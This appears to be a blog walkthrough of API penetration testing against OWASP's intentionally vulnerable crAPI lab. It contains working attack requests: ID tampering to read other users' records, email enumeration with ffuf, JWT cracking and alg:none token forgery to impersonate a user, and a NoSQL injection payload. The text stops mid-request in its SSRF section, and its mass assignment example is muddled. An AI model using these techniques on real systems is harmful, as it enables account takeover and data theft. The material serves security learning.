Posts API Pentest
Post
Cancel

API Pentest

API Pentesting

API pentesting, also known as API penetration testing, is a security testing technique that focuses on identifying vulnerabilities and weaknesses in the Application Programming Interfaces (APIs) of web applications. APIs are used to allow different applications to interact and exchange information with each other, making them a critical component of modern web development. However, APIs can also be a potential attack surface for malicious actors seeking to exploit vulnerabilities and gain unauthorized access to sensitive data or functionality. API pentesting involves testing the APIs of a web application for various security flaws, such as authentication and authorization issues, injection vulnerabilities, insecure data storage, and improper input validation. By identifying these weaknesses, API pentesting can help organizations to strengthen the security of their web applications and protect against potential attacks. API pentesting is a critical aspect of any comprehensive web application security testing program and is becoming increasingly important as more organizations rely on APIs to power their digital products and services.

I’m not a big expert on API Pentesting, and so, I’m writing this post to learn and I hope that can be helpful to someone else. To perform the test for the following vulnerablities I used the crAPI application from OWASP.

Enumeration

As always, we should start with the enumeration that we perform with several methods.

Enumeration is the process of gathering information about the target API in a systematic and organized manner. It involves identifying and mapping out the various resources, endpoints, parameters, and functionalities of the API. Enumeration is an important step in API pentesting because it helps the tester to understand the structure and behavior of the API, and to identify potential attack vectors.

During the enumeration phase of an API pentest, a tester might perform the following activities:

  • Discover and map out all available endpoints of the API.
  • Identify and document all parameters and input fields that are required for each endpoint.
  • Enumerate the available HTTP methods (GET, POST, PUT, DELETE, etc.) for each endpoint.
  • Identify the authentication and authorization mechanisms used by the API.
  • Test for rate limiting and other access control mechanisms.
  • Identify the type of data returned by the API (JSON, XML, etc.) and any potential vulnerabilities that may exist in the response data.
  • Check for any API versioning, and enumerate any version-specific features or vulnerabilities.

By performing a thorough enumeration of the target API, a tester can gain a deeper understanding of the API’s functionality and identify potential attack vectors that could be used to exploit vulnerabilities in the API.

To enumerate endpoint, it is helpful use the API documentation if it exists. The problem with the documentation is that, often, expecially in real world, the developer doesn’t write the documentation. This is due to many reasons, i.e rapidly evolving, third-party API, but also for lack of resourse. Developing documentation for an API can be a time-consuming and resource-intensive process. Smaller organizations or teams with limited resources may prioritize other tasks over creating documentation for their APIs.

Also, we can remember all the stuff, or maybe no (?)

Documentation Missing

Also the fuzzing of path, versioning and parameters is very important. Fuzzing involves sending large amounts of random data to an API’s input fields in order to identify potential vulnerabilities and crashes. While fuzzing can be a useful tool in identifying security weaknesses, it can also be dangerous when used in production environments. One of the main risks associated with fuzzing in production is the potential for data corruption or loss. Fuzzing involves sending large amounts of random data to the input fields, which can potentially corrupt or delete data stored in the production environment. This can lead to data loss, service interruptions, and other problems. Another risk associated with fuzzing in production is the potential for Denial-of-Service (DoS) attacks. Fuzzing can result in excessive requests or other forms of traffic that can overload the production environment and cause a DoS attack. This can result in service interruptions or even bring down the entire system.

To perform the fuzzing, tou can use the Burp Intruder or other tools such as ffuf. To use the Burp Intruder, with the Sniper attack mode

Burp Intruder Configuration

As you can see, in the image above, we want to fuzz the version of the API. For example, it can exist v0 or v1. This could be useful if in previosly version, there are some endpoint that expose sensitive data.

Then, to finish the burp configuration, you should sent the payload with the wordlist. In this case, since we want to fuzz only the number, we use the Number Payload of the Intruder and we set the “From”, “To” and “Step”.

Burp Intruder Configuration

Then, by starting the attacks we can see that exists only the version 2: Burp Intruder Configuration

The first request is the baseline request, it means that it the original request that you use to start the attack.

In this way, you can fuzz also the path. For instance, if you have the path “/identity/api/v2/community/posts/recent”, you can change the “posts” with “users” to see if exist an endpoint that can expose information about users.

Now, we check some vulnerabilities common in the APIs.

Authorization

An “Authorization” attack against an API refers to a security exploit that occurs when an attacker gains unauthorized access to an API endpoint or performs an action that they are not authorized to perform. This can occur when the API fails to properly enforce access controls or when the API access controls are not properly configured.

In this categories we can find 2 common vulnerabilities:

  • Broken Object Level Authorization (BOLA)
  • Broken Function Level Authorization (BFLA)

Broken Object Level Authorization (BOLA)

Broken Object Level Authorization is a security vulnerability that occurs when an API or application fails to properly enforce access controls on an object-level basis. This can allow attackers to access or modify sensitive data or functionality that they are not authorized to access.

Object-level authorization refers to the practice of defining access controls at the level of individual objects, such as records in a database or files in a filesystem. This is in contrast to traditional role-based access control, which defines access controls at the level of groups or roles.

An example of a Broken Object Level Authorization vulnerability in an API is an online shopping. Suppose you have an online shopping application with an API that allows users to view and modify their orders. The API requires users to authenticate with a username and password before accessing any functionality. However, the API does not properly enforce object-level authorization controls, and instead relies on client-side validation to prevent unauthorized access. This means that once a user is authenticated, they are free to view or modify any order, regardless of whether they are the owner of that order or not. An attacker could exploit this vulnerability by intercepting API requests and modifying the order ID in the request to view or modify another user’s order. Since the API does not perform any additional checks to ensure that the user is authorized to view or modify the requested order, the attacker would be able to access or modify sensitive data that they are not authorized to access.

Refering to the crAPI application, this is applicable to the “Contact Mechanic” functionality. Indeed, this endpoint response with a URL to check the status of the mechanic request.

BOLA

By performing the request in the image above:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: localhost:8888
Content-Length: 210
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104"
Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ0ZXN0QHRlc3QuY29tIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODA0NDc5NzcsImV4cCI6MTY4MTA1Mjc3N30.cSsB6HaNFCYPL855rJP7W-TbiTd8iRCHFrO5m07sKr4j-a8QWD4s6xDXKIgorP-5F_7w44X2y1ClwptlxK96x3oGsq6TaHTklD6TB6DiRYmDRtVj4GYrTQUxAx-ar2lnV56zMVgzh1aKFzCopi9mm8THl0fRL-GjyziED0oiYIt2Zf79n8z-RTUNVkJdSu4ba0Ru1hxTWKaexC6tZsTOXtqDK3S_EKYgdGxeYbAUWPAfRMCGeEOGwHfKkSFph-N-nm2xO_8OKHhg17nQPktOBFoWSz3jGRKRL464j0LsgToJM-bA-KKoBuJsRjN_xy68LL6ovIkThggEZaUrRVQpTQ
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
sec-ch-ua-platform: "Linux"
Accept: */*
Origin: http://localhost:8888
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/contact-mechanic?VIN=7CCZG71CRZO653819
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{
   "mechanic_code":"TRAC_JHN",
   "problem_details":"Test",
   "vin":"7CCZG71CRZO653819",
   "mechanic_api":"http://localhost:8888/workshop/api/mechanic/receive_report",
   "repeat_request_if_failed":false,
   "number_of_repeats":1
}

We get the following response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
HTTP/1.1 200 OK
Server: openresty/1.17.8.2
Date: Sat, 08 Apr 2023 13:56:50 GMT
Content-Type: application/json
Connection: close
Allow: POST, OPTIONS
Vary: Origin, Cookie
Access-Control-Allow-Origin: *
X-Frame-Options: SAMEORIGIN
Content-Length: 152

{
   "response_from_mechanic_api":{
      "id":7,
      "sent":true,
      "report_link":"http://localhost:8888/workshop/api/mechanic/mechanic_report?report_id=7"
   },
   "status":200
}

From the response, we can see the “report_link” that contains an ID, the “report_id”. If we perform a request to that link:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /workshop/api/mechanic/mechanic_report?report_id=7 HTTP/1.1
Host: localhost:8888
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

And as response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
HTTP/1.1 200 OK
Server: openresty/1.17.8.2
Date: Sat, 08 Apr 2023 13:57:53 GMT
Content-Type: application/json
Connection: close
Allow: GET, HEAD, OPTIONS
Vary: Origin, Cookie
X-Frame-Options: SAMEORIGIN
Content-Length: 289

{
   "id":7,
   "mechanic":{
      "id":1,
      "mechanic_code":"TRAC_JHN",
      "user":{
         "email":"jhon@example.com",
         "number":""
      }
   },
   "vehicle":{
      "id":28,
      "vin":"7CCZG71CRZO653819",
      "owner":{
         "email":"test@test.com",
         "number":"0123456789"
      }
   },
   "problem_details":"Test",
   "status":"Pending",
   "created_on":"08 April, 2023, 13:56:49"
}

In this response,there are all the information about the user, his vehicle and the mechanics issue. So, now if we change the “report_id”, we retrieve the information about other users:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /workshop/api/mechanic/mechanic_report?report_id=1 HTTP/1.1
Host: localhost:8888
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

And the response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
HTTP/1.1 200 OK
Server: openresty/1.17.8.2
Date: Sat, 08 Apr 2023 14:11:53 GMT
Content-Type: application/json
Connection: close
Allow: GET, HEAD, OPTIONS
Vary: Origin, Cookie
X-Frame-Options: SAMEORIGIN
Content-Length: 454

{
   "id":1,
   "mechanic":{
      "id":2,
      "mechanic_code":"TRAC_JME",
      "user":{
         "email":"james@example.com",
         "number":""
      }
   },
   "vehicle":{
      "id":23,
      "vin":"2CORW83RZBD183647",
      "owner":{
         "email":"adam007@example.com",
         "number":"9876895423"
      }
   },
   "problem_details":"My car Mercedes-Benz - GLA Class is having issues.\nCan you give me a call on my mobile 9876895423,\nOr send me an email at adam007@example.com \nThanks,\nAdam.\n",
   "status":"Pending",
   "created_on":"02 April, 2023, 15:03:08"
}

An API with a correct behaviour, should reply with “Forbidden” or with an error message.

Broken Function Level Authorization (BFLA)

Broken Function Level Authorization is a security vulnerability that occurs when an API or application fails to properly enforce access controls on a functional level. This can allow attackers to access or execute sensitive functions or operations that they are not authorized to access.

Function-level authorization refers to the practice of defining access controls at the level of individual functions or operations, such as specific actions within an application or API. This is in contrast to traditional role-based access control, which defines access controls at the level of groups or roles. An example of a Broken Function Level Authorization vulnerability in an API could be on a social media platform. Suppose you have a social media platform with an API that allows users to post and view content. The API requires users to authenticate with a username and password before accessing any functionality. However, the API does not properly enforce function-level authorization controls, and instead relies on client-side validation to prevent unauthorized access. This means that once a user is authenticated, they are free to view or modify any content, regardless of whether they are authorized to do so or not. An attacker could exploit this vulnerability by intercepting API requests and modifying the content ID in the request to view or modify content that they are not authorized to access. Since the API does not perform any additional checks to ensure that the user is authorized to view or modify the requested content, the attacker would be able to access or modify sensitive data that they are not authorized to access.

You can find these endpoints by fuzzing the API endpoints.

Authentication

An authentication vulnerability is a security vulnerability that allows attackers to bypass or exploit weaknesses in an application or system’s authentication mechanisms. Authentication is the process of verifying the identity of a user or system, typically through the use of passwords, tokens, or other authentication factors. To exploit this vulnerability, you should first discover the username and then the password. Or you can perform a bruteforce by using both username and password. Remember that the bruteforce could be dangerous.

You can use Burp Intruder as before. Or you can use also other tools, such as Ffuf (Fuzz Faster U Fool). Ffuf isa versatile command-line tool for web application security testing and content discovery. It is designed to help testers automate the process of discovering hidden content and vulnerabilities on web servers and web applications. To use Ffuf, you can copy the request from Burp and paste in a file and then execute ffuf:

1
ffuf -request req.txt --request-proto http -w wordlist -mc 200

The content of “req.txt” is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /identity/api/auth/login HTTP/1.1
Host: localhost:8888
Content-Length: 49
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
sec-ch-ua-platform: "Linux"
Content-Type: application/json
Accept: */*
Origin: http://localhost:8888
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"email":FUZZ,"password":"password"}

The wordlist that I used only to PoC for this article contains these email:

  • test@test.com
  • notexist@test.com

The result of ffuf will be:

1
2
notexist@test.com       [Status: 500, Size: 74, Words: 6, Lines: 1, Duration: 32ms]
test@test.com           [Status: 401, Size: 54, Words: 2, Lines: 1, Duration: 111ms]

As we can see, the “notexist@test.com” gave us the HTTP code 500, instead the “test@test.com” gave us 401. This could be an hint to understand if an email exists. We can check by performing the request: With test@test.com:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
HTTP/1.1 401 
Server: openresty/1.17.8.2
Date: Sat, 08 Apr 2023 14:58:45 GMT
Content-Type: application/json
Connection: close
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Length: 54

{"token":"","type":"","message":"Invalid Credentials"}

With “not exist@test.com”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
HTTP/1.1 500 
Server: openresty/1.17.8.2
Date: Sat, 08 Apr 2023 14:59:17 GMT
Content-Type: application/json
Connection: close
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Length: 74

{"token":null,"type":"Bearer","message":"Given Email is not registered! "}

So, we can confirm that the second one doesn’t exist, instead, the first one exists but the password is incorrect.

Of course, this is only an example. The responses depends from application to application. Some applications can reply always with 200, so it could be difficult to enumerate, other can reply with 500.

Tokens

In authentication, a token is a piece of data that is used to represent a user’s identity and authentication credentials. Tokens are commonly used in modern web applications and APIs as a way to authenticate users without requiring them to repeatedly enter their username and password. Tokens are typically issued by an authentication server or service when a user logs in or authenticates their identity. The token contains information such as the user’s identity, permissions, and expiration time, as well as a cryptographic signature to ensure its integrity and authenticity. Once a user has obtained a token, they can present it to the application or API to access protected resources or perform authenticated actions. The application or API can then verify the token’s authenticity and determine if the user is authorized to perform the requested action.

In the crAPI application, if we use the right credentials, we obtain the following response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
HTTP/1.1 200 
Server: openresty/1.17.8.2
Date: Sat, 08 Apr 2023 15:18:53 GMT
Content-Type: application/json
Connection: close
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Length: 502

{
   "token":"eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ0ZXN0QHRlc3QuY29tIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODA5NjcxMzMsImV4cCI6MTY4MTU3MTkzM30.f5ioU6jjVH7Ny_mSE89dC6mkWxzJUSgrFjjp37ej9i0CxKJgNpkArPVf2VX7kMi0U4DcZzlANbvyr8CdRUUa7GvqppiMLTQg-c_mCfWRPdkD6Mgsm098CxOTkCCkiA_Ez_ZSfvG-gKsV43vsSiWSy8TgkbPgzUm7txglStZuclOPLz5QQqbgkdMmB-Ivno8dTLzdE1xqJ88G2QmkNJLn47uW8VZ5zSVZ080N39aHYysrcCdrQ4HAFSw_OKpkCuq-7oNZIryoLMiwUWCJJbqSqMYocBVMFwN1YqlfYjUp2Z04ionV-gfmYOaoduKKdFvP9iLqES5Jst64tHuA-DT8Mw",
   "type":"Bearer",
   "message":null
}

This response contains a token and it will be used in all the next requests. This token is a JWT token that is commonly used. But sometime the used token can also be generated from the developers and could be weak. To analyze the token, we can use the Burp Sequencer that make a tons of requests and then analyze the entropy of every characters to undestand if there is some common characters on some position of the token is pseudo-random. To use the Burp Sequencer, send to it the login request and then select the token to analyze.

JWT Token

JWT stands for JSON Web Token, which is a standard for securely transmitting information as a JSON object between parties over the internet. A JWT is a type of token that is used in authentication and authorization processes.

A JWT consists of three parts: a header, a payload, and a signature. The header describes the algorithm used to generate the signature, the payload contains the information being transmitted, and the signature is a string generated by signing the header and payload with a secret key. The payload of a JWT typically contains information about the user, such as their username, role, and permissions. The signature ensures that the payload has not been tampered with and that the token was issued by a trusted source.

JWT Token

Indeed, if we check the token with jwt.io, we can see the information inside the token: JWT Token

For the JWT token, some vulnerabilities are known. One of this is a weak key used for the signature. To crack this, you can use hashcat:

1
hashcat -a 0 -m 16500 <JWT_TOKEN> <WORDLIST>

Or you can use another tool, jwt_tool. For the analysis (like using jwt.io), you can use the following command:

1
jwt_tool <TOKEN>

And, also, you can perform several attacks by using the following command:

1
jwt_tool -t URL -rh 'Authorization: Bearer TOKEN' -M at

In the case of the crAPI application, we get the jwt_token from Burp request and put in the command:

1
jwt_tool -t http://localhost:8888/identity/api/v2/user/dashboard -rh 'Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ0ZXN0QHRlc3QuY29tIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODEwMzQwMDcsImV4cCI6MTY4MTYzODgwN30.sHarqn3O1wx3QpUsymoOev1NtkMUgc08FFLE96scPWyLS8RMqL6MpH9KdDeekbIDqkf4KEH10iLGid_MVo5XA113G3lhvxZZkObW6lzErBrMOsdjfgU9WTBICdmhJk2_GG7EJmCXxpFKx1_n83OjcZZxzmH3dzIQiWRTBMBPrfouNgEuYDuT9hjoIzlAsIrvP2QKsBGbl-tn3F3nOd6pra2LsoW1RB4HvkzqjKOUdb6vVmMxc78s-2XnTRL11wpYAoN8khkQuLQKmt000iwIlH289mThcapjJKrZZNzFz3JrYgEzOMbOU_oNpZKfWzNmdBAXpkSsMEIsLVOfHZiLNg' -M at -cv "Test"

The -cv "Test" is to define what should be contained in a successuful response. Since we use the endpoint that contains the user’s information, we said to jwt_tool that a successful response should contain the name of the user, in this case I created a user called “Test” (a lot of imagination :D ).

The tool will generate a tons of request and it will try different attacks. If we have Burp in background, we can see the requests, for instance, it will found a successfull the following request:

jwttool_5a12251d49009ecf554c78cd07ef944d Exploit: “alg”:”none” (-X a) Response Code: 200, 179 bytes

1
2
3
4
5
6
7
GET /identity/api/v2/user/dashboard HTTP/1.1
Host: localhost:8888
User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) jwt_tool jwttool_5a12251d49009ecf554c78cd07ef944d
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ0ZXN0QHRlc3QuY29tIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODEwMzQwMDcsImV4cCI6MTY4MTYzODgwN30.

You can notice that the jwt token is changed and if we see the decoded with the Burp extension “JSON Web Token” JWT Token None Algorithm

This attack remove the signature from the JWT Token and the application, if doesn’t check the signature, will accept it. So, with this attack, you can change the payload by inserting the email of another user and you will login as that user. In the crAPI, we can change the user in this way:

JWT Token With other user

The request will be:

1
2
3
4
5
6
7
GET /identity/api/v2/user/dashboard HTTP/1.1
Host: localhost:8888
User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) jwt_tool jwttool_5a12251d49009ecf554c78cd07ef944d
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ0ZXN0MkB0ZXN0LmNvbSIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjgxMDM0MDA3LCJleHAiOjE2ODE2Mzg4MDd9.

And the response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
HTTP/1.1 200 
Server: openresty/1.17.8.2
Date: Sun, 09 Apr 2023 10:41:27 GMT
Content-Type: application/json
Connection: close
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Length: 185

{
   "id":9,
   "name":"test test",
   "email":"test2@test.com",
   "number":"0123456783",
   "picture_url":null,
   "video_url":null,
   "video_name":null,
   "available_credit":100.0,
   "video_id":0,
   "role":"ROLE_USER"
}

We have the information of the other user.

This command generates a lot of requests. Again, be aware of the environment that you test.

Injection

SQL injection is a type of security vulnerability that occurs when an attacker injects malicious SQL code into an application’s input field, such as a login form, search bar, or contact form. The malicious code can then be executed by the application’s database, potentially giving the attacker unauthorized access to sensitive data or enabling them to modify or delete data. SQL injection attacks can be particularly dangerous because they can allow attackers to bypass authentication mechanisms and gain access to confidential data such as usernames, passwords, credit card details, and other sensitive information. Attackers can also use SQL injection to modify or delete data from a database, which can cause data loss or damage to the application’s functionality.

Fuzzing for SQL injection involves sending various malicious input data to an application to see if it can be exploited to perform SQL injection attacks. It is possible to fuzz for SQL injection by using also The Burp Suite Intruder. Burp includes already a wordlist containing SQL injection payload. After the attack is ended, you can check if the responses contain error related to SQL queries.

The NOSQL injection is part of this vulnerability category. NoSQL injection is a type of injection attack that targets NoSQL databases. NoSQL databases differ from traditional relational databases in that they store data in non-tabular, document-based structures. These databases often use JavaScript Object Notation (JSON), Extensible Markup Language (XML), or similar formats to represent data. NoSQL injection attacks are similar to SQL injection attacks, but they target NoSQL databases rather than SQL databases. In a NoSQL injection attack, an attacker injects malicious code into a NoSQL query in order to modify or extract data from the database. The attack can be used to bypass authentication, elevate privileges, or gain access to sensitive data.

In crAPI, we can found the NOSQLi in “coupon redeem” functionality. To find the right payload, we can use Burp Intruder. First we set the position:

NOSQLi Burp Intruder

And then we select the wordlist that we want use in the “Payload” tab of Burp Intruder, in this case I used NoSQL.txt wordlist of SecLists.

After some seconds, we can see the requests and we got 200 with the payload {"gt": ""}: NOSQLi Burp Intruder

The request will be:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /community/api/v2/coupon/validate-coupon HTTP/1.1
Host: localhost:8888
Content-Length: 27
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104"
Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ0ZXN0QHRlc3QuY29tIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODEwMzQwMDcsImV4cCI6MTY4MTYzODgwN30.sHarqn3O1wx3QpUsymoOev1NtkMUgc08FFLE96scPWyLS8RMqL6MpH9KdDeekbIDqkf4KEH10iLGid_MVo5XA113G3lhvxZZkObW6lzErBrMOsdjfgU9WTBICdmhJk2_GG7EJmCXxpFKx1_n83OjcZZxzmH3dzIQiWRTBMBPrfouNgEuYDuT9hjoIzlAsIrvP2QKsBGbl-tn3F3nOd6pra2LsoW1RB4HvkzqjKOUdb6vVmMxc78s-2XnTRL11wpYAoN8khkQuLQKmt000iwIlH289mThcapjJKrZZNzFz3JrYgEzOMbOU_oNpZKfWzNmdBAXpkSsMEIsLVOfHZiLNg
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
sec-ch-ua-platform: "Linux"
Accept: */*
Origin: http://localhost:8888
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/shop
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"coupon_code":{"$gt": ""}}

With the reponse:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP/1.1 200 OK
Server: openresty/1.17.8.2
Date: Sun, 09 Apr 2023 11:28:47 GMT
Content-Type: application/json
Connection: close
Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
Access-Control-Allow-Origin: *
Content-Length: 79

{
   "coupon_code":"TRAC075",
   "amount":"75",
   "CreatedAt":"2023-04-02T15:00:39.778Z"
}

Mass Assignment

Mass assignment vulnerabilities can occur when an attacker is able to modify the request parameters sent to the API in order to set values for attributes they should not have access to, such as administrative privileges or sensitive data.

An example is the creation of a user. Suppose we have an API endpoint “/users” that allows users to create a new user by sending a JSON payload with the following structure:

1
2
3
4
5
{
  "name": "Jane Doe",
  "email": "jane.doe@example.com",
  "role": "user"
}

In this case, the API endpoint allows mass assignment, but it also sets a default role of “user” if no role is provided in the request payload.

If an attacker attempts to modify the request payload to set their own role as that of a privileged user, it would have no effect since the default role of “user” would still be used. For example:

1
2
3
4
5
{
  "name": "Jane Doe",
  "email": "jane.doe@example.com",
  "role": "admin"
}

In this case, the “role” parameter would be ignored, and the user would be created with a default role of “user”.

To discover these “hidden” parameters, you can analyze the source code to check if there is some HTTP parameters that is not validate and is put directly on the system. Or you can check also the JWT token, if there is some useful paramenter and try to put in the request.

Excessive Data Exposure

Excessive Data Exposure is also a significant security vulnerability in APIs that can result in the exposure of sensitive data to unauthorized parties. This can occur when an API returns more data than is necessary or appropriate for a given request, or when sensitive data is included in API responses without adequate protection. For example, suppose an API returns sensitive user data, such as passwords or credit card information, in response to a request that was intended to retrieve only basic profile information. If this data is not properly protected, an attacker could potentially intercept or access it and use it for malicious purposes.

We can see this vulnerability also in crAPI. If we check the “recent posts” section, we see few information, the name of the user, the title, the comment and the data:

Comments Section crAPI

But if we check the HTTP response, we can see a lot of information not needed in that section:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
HTTP/1.1 200 OK
Server: openresty/1.17.8.2
Date: Sat, 08 Apr 2023 16:29:36 GMT
Content-Type: application/json
Connection: close
Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
Access-Control-Allow-Origin: *
Content-Length: 1617

[
   {
      "id":"EFmnjqRWe5Rc2ZW7tDh9X7",
      "title":"Title 3",
      "content":"Hello world 3",
      "author":{
         "nickname":"Robot",
         "email":"robot001@example.com",
         "vehicleid":"b7b28bc1-24d2-4793-b17c-355e119f59b9",
         "profile_pic_url":"",
         "created_at":"2023-04-02T15:00:40.246Z"
      },
      "comments":[
         
      ],
      "authorid":3,
      "CreatedAt":"2023-04-02T15:00:40.246Z"
   },
   {
      "id":"fyfCgq6nwiwpmrTz7sVJaS",
      "title":"Title 2",
      "content":"Hello world 2",
      "author":{
         "nickname":"Pogba",
         "email":"pogba006@example.com",
         "vehicleid":"8a4b4f1f-4e2e-444d-9a21-c0ccc5ab801f",
         "profile_pic_url":"",
         "created_at":"2023-04-02T15:00:40.237Z"
      },
      "comments":[
         
      ],
      "authorid":2,
      "CreatedAt":"2023-04-02T15:00:40.237Z"
   },
   {
      "id":"DLqPtrUZfueT5mLVjHYHrJ",
      "title":"Title 1",
      "content":"Hello world 1",
      "author":{
         "nickname":"Adam",
         "email":"adam007@example.com",
         "vehicleid":"6f836ff9-883d-4863-b2ce-b04e5e7057a3",
         "profile_pic_url":"",
         "created_at":"2023-04-02T15:00:40.131Z"
      },
      "comments":[
         
      ],
      "authorid":1,
      "CreatedAt":"2023-04-02T15:00:40.131Z"
   }
]

We can see the email and the id of the users, the vehicle_id. So this endpoint expose sensitive information.

SSRF

Server-side request forgery (SSRF) can also be a significant security vulnerability in APIs that can result in unauthorized access to sensitive data or systems. This can occur when an API allows an attacker to specify the target URL for an HTTP request that is initiated by the API’s server-side code. For example, suppose an API allows users to submit URLs for image processing. An attacker could submit a malicious URL that points to an internal system or network device, which the API’s server-side code would then attempt to access. If the API’s server-side code is vulnerable to SSRF, the attacker could potentially access sensitive data or systems by manipulating the URL.

In crAPI, we can found this vulnerability in the “Contact Mechanics” (again), since this endpoint take in input an URL. If the backend doesn’t check the URL, an attacker can put malicious server to get the data in response.

The request from the vulnerable endpoint:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: localhost:8888
Content-Length: 174
